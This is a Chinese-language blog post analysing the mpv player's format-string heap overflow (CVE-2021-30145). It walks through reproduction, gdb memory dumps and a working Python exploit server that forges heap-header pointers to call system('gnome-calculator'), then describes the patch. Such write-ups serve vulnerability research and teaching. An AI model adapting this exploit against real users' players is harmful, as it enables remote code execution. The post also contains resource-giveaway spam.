写点什么

远程代码执行漏洞分析

发布于: 2 小时前

一、背景介绍

mpv 项目是开源项目,可以在多个系统包括 Windows、Linux、MacOs 上运行,是一款流行的视频播放器,mpv 软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

二、环境搭建

系统环境为 Ubuntu x64 位,软件环境可以通过两种方式搭建环境。a. 通过源码编译,源码地址为:https://github.com/mpv-player/mpv/tree/v0.33.0下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zipb. 直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:sudo add-apt-repository ppa:mc3man/mpv-testssudo apt-get updatesudo apt-get install mpv


安装完成后运行软件如下所示:



【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)

三、漏洞复现

源代码:



demux_mf.c 文件中 154 行存在对 sprintf 函数的调用,sprintf 函数是格式化字符串函数,参数 1 是目标缓冲区,参数 2 是格式化字符串,参数 2 是可控的,第三个参数是循环次数,mpv 程序本身支持文件名中传入一个 %,可以使用 %d 打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及 %的个数,所以存在格式化字符串漏洞:



在 demux_mf.c 文件中 127 行会检查是否存在 %,没有判断有几个 %,以及 %之后的参数。程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p



运行 mpv 时使用-v 参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。demux_mf.c 文件中 154 行存在对 sprintf 函数的调用,sprintf 函数是格式化字符串函数,参数 1 是缓冲区,参数 2 是格式化字符串,这是可控的,现在为了安全都使用 snprintf 函数,可以限制缓冲区的大小,使用 sprintf 函数会造成信息泄漏,图中 fname 是堆中的缓冲区地址:



程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的 124 行调用 talloc_size 来申请内存,申请大小为文件名的大小加 32 个字节,如果使用格式字符串例如 %1000d,会把一个四字节数据扩展到占用 1000 个字节,这样会导致堆溢出。



上图中,启动 mpv 时传入参数 mf://%1000d 会导致程序崩溃。

四、漏洞分析

通过源码编译后可以根据符号对程序下断点,先查看下 open_mf_pattern 漏洞函数:使用 gdb 启动 mpv 程序


gdb ./mpv~~~gdb-peda$ disassemble open_mf_patternDump of assembler code for function open_mf_pattern:~0x00000000001e44af <+559>: call 0x1305a0 __sprintf_chk@plt~
复制代码


可以看到在 open_mf_pattern+0x559 处调用的是 sprintf_chk 函数,这是因为使用源码编译时使用了 FORTIFY_SOURCE 选项,对 sprintf 函数的调用会自动修改为调用 sprintf_chk 函数,可以在 gdb-peda 下输入 checksec 检查:


gdb-peda$ checksecCANARY : ENABLEDFORTIFY : ENABLED 可以看到开启了FORTIFY选项NX : ENABLEDPIE : disabledRELRO : FULLgdb-peda$
复制代码


sprintf_chk 函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过 talloc_size 申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用 0xFFFFFFFFFFFFFFFF 来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在 Ubuntu 20.04.1 LTS 系统和关闭 ASLR 情况下利用此漏洞:


五、漏洞利用程序开发

开发利用程序前,需要使用 sudo sh -c “echo 0 > /proc/sys/kernel/randomizeva_space”命令关闭系统的 ASLR 功能。mpv 程序运行时会把格式化字符串块保存在自定义的块中,使用 talloc_size 来分配内存,还有自定义的堆头结构。


struct ta_header {size_t size; // size of the user allocation// Invariant: parent!=NULL => prev==NULLstruct ta_header prev; // siblings list (by destructor order)struct ta_header next;// Invariant: parent==NULL || parent->child==thisstruct ta_header child; // points to first childstruct ta_header parent; // set for _first child only, NULL otherwisevoid (destructor)(void );unsigned int canary;struct ta_header leak_next;struct ta_header leak_prev;const char name;};
复制代码


可以在 ta.c 文件中看到此结构的内容以及对应的函数,此结构中包含一个 destructor,是析构指针,还有一个值是 canary,编译选项 TA_MEMORY_DEBUGGING 默认是启用的,此值为固定值 0xD3ADB3EF,是为了检测程序是否有异常。当调用 ta_free 函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。



在此函数内部还调用了 get_header 函数,函数内容为



根据堆块地址 ptr 往低地址偏移固定字节找到堆头结构地址 tag_head,然后调用 ta_dbg_check_header 函数



ta_dbg_check_header 函数会检查 canary 值是否为 0xD3ADB3EF,如果 parent 不为空,还会判断前向节点和父节点。

5.1 覆盖 destructor 指针

漏洞利用思路为调用 sprintf 函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用 ta_free 函数时,如果析构指针不为空,那么就会调用析构函数。mpv 程序在运行时可以读取 m3u 文件列表,如使用命令


./mpv http://localhost:7000/x.m3u
复制代码


mpv 程序会去连接本地的 7000 端口,并获取 x.m3u 文件,获取的内容 mf://及之后的内容保存在堆中,当 mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当 mpv 将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。使用如下的 POC 测试占用不同的空间可以将文件名称内容放到合适的地址处:


#!/usr/bin/env python3import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind((‘localhost’, 7000))s.listen(5)c, a = s.accept()playlist = b’mf://‘playlist += b’A’0x40playlist += b’%d’ # we need a ‘%’ to reach vulnerable pathd = b’HTTP/1.1 200 OK\r\n’d += b’Content-type: audio/x-mpegurl\r\n’d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’d += b’\r\n’d += playlistc.send(d)c.close()
复制代码


代码中使用 playlist += b’A’0x40 来占位,0x40 是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用 gdb 调试 mpv 程序:gdb ./mpv 使用命令 b open_mf_pattern+559 在调用 sprintf_chk 函数处下断点,使用命令运行 mpv 程序:r http://localhost:7000/x.m3u



可以看到第一个参数 arg[0]数据为 0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移 0x50 是为了查看堆头结构的数据


gdb-peda$ x/100xg 0x7fffec001210-0x500x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]0x7fffec0011e0: 0x00007fffec001140 0x0000000000000000 [parent] | [destructor]0x7fffec0011f0: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data0x7fffec001220: 0x00007fffec004df0 0x00007fffec0016100x7fffec001230: 0x0000000000000000 0x00000000000000000x7fffec001240: 0x0000000000000000 0x00000000000000000x7fffec001250: 0x0000000000000000 0x00000000000000000x7fffec001260: 0x0000000000000000 0x0000555556c288a00x7fffec001270: 0x736f686c61636f6c 0x782f303030373a740x7fffec001280: 0x00000000000000d0 0x00000000000000650x7fffec001290: 0x000055555732dc00 0x00005555573150100x7fffec0012a0: 0x0000000000000000 0x00000000000000000x7fffec0012b0: 0x0000000000000000 0x00000000000000000x7fffec0012c0: 0x0000000000000000 0x00000000000000000x7fffec0012d0: 0x0000000000000000 0x00000000000000000x7fffec0012e0: 0x0000000000000000 0x00000000000000450x7fffec0012f0: 0x0000000000000000 0x00000000000000000x7fffec001300: 0x0000000100000000 0x00000000000000010x7fffec001310: 0x0000000000000000 0x00000000000000000x7fffec001320: 0x00000073656c6966 0x00000000000000510x7fffec001330: 0x00007fffec0047d0 0x00007fffec0046e00x7fffec001340: 0x0000000000000000 0x00000000000000000x7fffec001350: 0x0000000000000000 0x00000000000000000x7fffec001360: 0x0000000000000000 0x00000000000000000x7fffec001370: 0x0000000000000050 0x00000000000000440x7fffec001380: 0x0000000000000000 0x00000000000000000x7fffec001390: 0x0000000100000000 0x74707972000000010x7fffec0013a0: 0x0000000000000000 0x00000000000000000x7fffec0013b0: 0x00646d6574737973 0x00000000000000210x7fffec0013c0: 0x00007fffec005570 0x00007fffec0177c00x7fffec0013d0: 0x0000000000000020 0x00000000000000440x7fffec0013e0: 0x0000000000000000 0x00000000000000000x7fffec0013f0: 0x0000000100000000 0x00000000000000010x7fffec001400: 0x0000000000000000 0x00000000000000000x7fffec001410: 0x0000000000736e64 0x00000000000000350x7fffec001420: 0x3638782f62696c2f 0x756e696c2d34365f0x7fffec001430: 0x696c2f756e672d78 0x6c69665f73736e620x7fffec001440: 0x00322e6f732e7365 0x00000000000000650x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data
复制代码


堆块的实际数据起始地址为 0x7fffec001210,堆头地址为 0x7fffec0011C0,紧随其后有一个堆头结构位于 0x7fffec001450。使用如下 poc 脚本即可覆盖 0x7fffec001450 堆头结构中的 destructor 指针


#!/usr/bin/env python3import socketfrom pwn import s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind((‘localhost’, 7000))s.listen(5)c, a = s.accept()playlist = b’mf://‘playlist += b’A’*0x10playlist += b’%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22’d = b’HTTP/1.1 200 OK\r\n’d += b’Content-type: audio/x-mpegurl\r\n’d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’d += b’\r\n’d += playlistc.send(d)c.close()
复制代码


正常情况下 %c 即可格式化一个 char 类型的数据,使用 %590c 是为了似乎用空格字符占用更多的字节,让程序去处理目的地址 590 个字节后面的数据,%c%c 的目的是跳到一个参数,该参数的值为 0,%4c%4c%4c%4c 将 8 个字节的 0x00 写到父指针 parent 中,绕过 ta_dbg_check_header 函数中对前向节点和父节点的检查。6 个\x22 将 0x222222222222 写入到 destruct 指针中。程序会多次运行到 sprintf_chk 函数处,从源代码中可以看到程序会运行 5 次,在最后一次运行结束后,查看后续堆的头结构内容如下:


gdb-peda$ x/20xg 0x7fffec0014500x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]0x7fffec001490: 0x0000000000000000 0x0000555556c288a00x7fffec0014a0: 0x000000006600666d 0x00000000000000f50x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d00x7fffec0014c0: 0x0000000000000000 0x00000000000000000x7fffec0014d0: 0x0000000000000000 0x00005555557632c00x7fffec0014e0: 0x0000000000000000 0x0000000000000000
复制代码


当前已经覆盖了 destructor 指针为 0x0000222222222222。 输入指令 c 并回车继续运行:



可以看到出现段错误,RIP 为 0x222222222222,将要执行到 RIP 指向的指令,但是内存地址不合法导致程序出现段错误。

5.2 覆盖 child 指针

目前只修改到了 RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到:



在 ta.c 文件中可以看到调用析构函数后,还调用了 ta_free_children 释放子节点,在 ta_free_children 函数中调用 ta_free 释放子节点,然后在此函数中又判断子节点的 destructor 指针,如不为 0,则调用 destructor 指向内存的代码。现在需要换一种漏洞利用思路,即覆盖到堆头结构中的 child 指针,如果这个 child 块是我们自己可以构造的一个假块,构造 destructor 指针为 system 函数的地址,canary 值为固定值 0xd3adb3ef,还需构造假块的 parent 为 0,就可以绕过判断,调用 system 函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。还需要构造这个假块, mpv 程序读取 m3u 文件列表时,会接收 http 报文,http 报文中包含了文件名数据,还可以在 http 报文中构造一个假块,当关闭 ASLR 情况下,http 报文中假块的堆头结构地址是固定的 0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:


  1. http 报文在内存中的地址与调用 sprintf 时的目的地址在同一块内存中。

  2. 程序在调用 sprintf 断下后,使用 vmmap 查看进程模块占用了哪些内存页面,查看 sprintf 函数的第一个参数落到哪个内存块中:



如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。
复制代码


  1. 使用二进制文本搜索工具如 winhex,搜索 gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。



图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。
复制代码


  1. 找到假块堆头在文件中的位置为 0x1DD8,那在内存中的位置为 0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应 EXP 中子块的指针



在 gdb-peda 插件下输入命令:print system,可以定位到 system 函数的地址,修改脚本中 SYSTEM_ADDR 为 system 函数对应地址。EXP 脚本如下:


#!/usr/bin/env python3import socketfrom pwn import s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind((‘localhost’, 7000))s.listen(5)c, a = s.accept()playlist = b’mf://‘playlist += b’A’0x30playlist += b’%550c%c%c’playlist += b’\xd8\x1d%4$c\xec\xff\x7f’ # overwriting child addr with fake childSYSTEM_ADDR = 0x7ffff760c410CANARY = 0xD3ADB3EFfake_chunk = p64(0) # sizefake_chunk += p64(0) # prevfake_chunk += p64(0) # nextfake_chunk += p64(0) # childfake_chunk += p64(0) # parentfake_chunk += p64(SYSTEM_ADDR) # destructorfake_chunk += p64(CANARY) # canaryfake_chunk += p64(0) # leak_nextfake_chunk += p64(0) # leak_prevfake_chunk += p64(0) # named = b’HTTP/1.1 200 OK\r\n’d += b’Content-type: audio/x-mpegurl\r\n’d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’d += b’PL: ‘d += fake_chunkd += b’gnome-calculator\x00’d += b’\r\n’d += b’\r\n’d += playlistc.send(d)c.close()
复制代码


使用 gdb 启动 mpv 后,下断点 b *open_mf_pattern+559,使用命令 r http://localhost:7000/x.m3u 运行程序,多次运行 sprintf_chk 后查看内存数据:


gdb-peda$ x/20xg 0x7fffec0014500x7fffec001450: 0x2020202020202020 0x20202020202020200x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]0x7fffec001470: 0x0000000000000000 0x00000000000000000x7fffec001480: 0x00000000d3adb3ef 0x00000000000000000x7fffec001490: 0x0000000000000000 0x0000555556c288a00x7fffec0014a0: 0x000000006600666d 0x00000000000000f50x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d00x7fffec0014c0: 0x0000000000000000 0x00000000000000000x7fffec0014d0: 0x0000000000000000 0x00005555557632c00x7fffec0014e0: 0x0000000000000000 0x0000000000000000
复制代码


child 指针此时为 0x00007fffec001dd8,查看 child 中的数据:


gdb-peda$ x/20xg 0x00007fffec001dd80x7fffec001dd8: 0x0000000000000000 0x00000000000000000x7fffec001de8: 0x0000000000000000 0x00000000000000000x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]0x7fffec001e18: 0x0000000000000000 0x00000000000000000x7fffec001e28: 0x61632d656d6f6e67 0x726f74616c75636c0x7fffec001e38: 0x3a666d0a0d0a0d00 0x4141414141412f2f0x7fffec001e48: 0x4141414141414141 0x41414141414141410x7fffec001e58: 0x4141414141414141 0x41414141414141410x7fffec001e68: 0x4141414141414141 0x2563303535254141
复制代码


地址 0x7fffec001e28 处对应的是堆实际数据,对应的是字符串数据 gnome-calculator,destructor 为 system 函数的地址,按 c 回车运行:



可以看到弹出了计算器。总结一下利用思路:


  1. mpv 程序在读取 m3u 文件列表时会使用 http 协议从服务端上取出对应的文件名称

  2. 服务端发送 http 报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容

  3. mpv 取到对应的文件名称时会调用 sprintf_chk 时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个 0xFFFFFFFFFFFFFFFF 作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖 child 指针。

  4. 这个 child 指针指向一个假块,假块内容是服务器端使用 http 协议发过来的数据,假块包括头结构和实际数据,头结构中 destructor 字段修改 system 函数的地址,当释放这个 child 块时,会判断 destructor 指针是否为空,不为空则调用 destructor 指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串 gnome-calculator,所以调用析构函数时效果相当于调用 system(“gnome-calculator”)。注意需要关闭系统的 ASLR,这样 system 函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过 ASLR。

六、漏洞修复:

目前该漏洞已经修复,本身程序运行时是支持文件名中带一个 %d 的格式化字符串,修复后检查只有一个 %,并且是 %d,如果是其他的参数则不合法。



对 sprintf 函数的调用修改为调用 snprintf,限制了缓冲区的大小。



七、参考链接:

mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145)

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
远程代码执行漏洞分析